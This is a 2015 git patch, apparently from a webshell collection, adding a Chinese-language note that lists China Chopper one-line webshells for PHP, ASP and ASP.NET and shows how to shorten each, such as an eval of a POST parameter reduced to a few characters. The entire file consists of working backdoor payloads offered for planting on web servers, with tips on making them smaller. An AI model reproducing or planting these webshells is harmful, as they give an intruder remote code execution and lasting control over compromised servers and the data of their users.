From e9646d4cc85b44d660c8614c81dba93d15648a5c Mon Sep 17 00:00:00 2001
From: tennc <tennc@users.noreply.github.com>
Date: Mon, 19 Oct 2015 23:45:30 +0800
Subject: [PATCH] Create short_shell.md

from : zone.wooyun.com
author : RedFree
---
 caidao-shell/short_shell.md | 43 +++++++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)
 create mode 100644 caidao-shell/short_shell.md

diff --git a/caidao-shell/short_shell.md b/caidao-shell/short_shell.md
new file mode 100644
index 0000000..a67712a
--- /dev/null
+++ b/caidao-shell/short_shell.md
@@ -0,0 +1,43 @@
+菜刀readme.txt中附带一3个一句话： 
+
+```PHP:    <?php @eval($_POST['chopper']);?> 
+ASP:    <%eval request("chopper")%> 
+ASP.NET:    <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
+```
+
+抛弃密码的长度不算，其实这3个一句话均不是最短的。 
+如： 
+PHP我们可以这样写： 
+
+```
+<?php @eval($_POST['0']);?>   原版 
+<?=eval($_POST[0]);?>         缩小版
+```
+
+ASP我们可以这样写： 
+```
+<%eval request("0")%>   原版 
+<%eval request(0)%>     缩小版
+```
+
+ASP.NET可以这样写： 
+
+```<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>   原版 
+<%@Page Language=JS%><%eval(Request.Item(0),"unsafe");%>             缩小版
+```
+
+当然你也可以把它写成这样(很显然体积上不占优势)： 
+
+```
+<%@Page Language="JAVASCRIPT"%><%eval(Request.Item(0),"unsafe");%>
+```
+
+已经用了许久的东西，直接回复原贴感觉很多人看不到，还是单独发出来吧。 
+和原求助贴中的最长字符数对比： 
+
+```
+<%@ Page Language="Jscript"%><%eval(Request.Item["1"],"unsafe 
+<%@Page Language=JS%><%eval(Request.Item(0),"unsafe");%>
+```
+
+显然达到目的了。